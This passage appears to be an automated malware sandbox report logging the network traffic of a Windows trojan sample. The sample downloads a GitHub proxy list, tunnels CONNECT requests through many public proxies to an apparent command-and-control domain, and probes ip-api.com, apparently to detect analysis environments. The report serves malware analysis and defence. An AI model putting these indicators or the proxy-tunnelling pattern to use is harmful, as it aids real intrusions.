Feb 23, 2024 14:28:44.950382948 CET	638	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 519<html><head><meta http-equiv="Content-Type" content="textml;charset=GB2312" /><style>body{background-color:#FFFFFF}</style> <title>153</title><script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://114.115.192.246:9080/error.html"; }</script> </head><body><iframe style="width:100%; height:100%;" id="mainFrame" src="" frameborder="0" scrolling="no"/></body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1942	192.168.2.8	55447	171.248.222.60	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.035684109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1943	192.168.2.8	55594	74.119.144.60	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.049177885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1944	192.168.2.8	52855	113.11.183.142	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.057802916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1945	192.168.2.8	55378	142.54.232.6	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.074306011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1946	192.168.2.8	55554	103.148.57.103	30009	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.416677952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.084768057 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1947	192.168.2.8	55490	117.160.250.130	8899	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.416874886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1948	192.168.2.8	55061	181.15.154.154	52033	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.428287983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1949	192.168.2.8	55598	104.17.248.164	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.428505898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.515856028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1950	192.168.2.8	55595	177.12.118.160	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.428711891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1951	192.168.2.8	55103	162.214.102.195	58994	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:46.449752092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.991827011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1952	192.168.2.8	55941	208.95.112.1	80	22352	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:47.892729044 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 23, 2024 14:28:47.987286091 CET	175	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	140.82.113.4	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 13:28:21 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-02-23 13:28:21 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Fri, 23 Feb 2024 13:28:21 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"396e43d5701e4c003deab807c3af9595" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-02-23 13:28:21 UTC	3587	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-02-23 13:28:21 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 34 35 45 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 45E0<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 38 65 61 61 62 32 32 38 34 34 38 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-8eaab228448a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c Data Ascii: -parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_hydro-anal
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 64 65 74 61 69 6c 73 2d 64 69 61 6c 6f 67 2d 65 6c 65 6d 65 6e 2d 32 39 64 63 33 30 2d 61 32 61 37 31 66 31 31 61 35 30 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a Data Ascii: ation/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-29dc30-a2a71f11a507.js"></script><script crossorigin="anonymous" defer="defer" type="application/j
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 2d 39 37 38 61 62 63 30 2d 61 64 64 39 33 39 63 37 35 31 63 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 6c 69 Data Ascii: b_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-978abc0-add939c751ce.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_li
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 39 35 62 38 34 65 65 36 62 63 33 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 Data Ascii: s"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js"></scri
2024-02-23 13:28:21 UTC	1370	IN	Data Raw: 62 35 39 61 32 62 32 38 32 37 61 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 68 74 2d 38 33 63 32 33 35 2d 62 38 35 65 39 66 34 Data Ascii: b59a2b2827ad.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-b85e9f4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	51842	172.67.190.93	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 13:28:25 UTC	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-02-23 13:28:25 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-02-23 13:28:25 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	52896	172.67.190.93	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 13:28:28 UTC	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
2024-02-23 13:28:28 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-02-23 13:28:28 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	53182	102.223.20.217	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 13:28:29 UTC	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-02-23 13:28:30 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-02-23 13:28:30 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	55101	222.255.238.159	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 13:28:41 UTC	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-02-23 13:28:42 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-02-23 13:28:42 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Target ID:	0
Start time:	14:28:18
Start date:	23/02/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Imagebase:	0x194c4400000
File size:	40'960 bytes
MD5 hash:	26C95E5ACBA77D7FD14D109C94F75CCA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
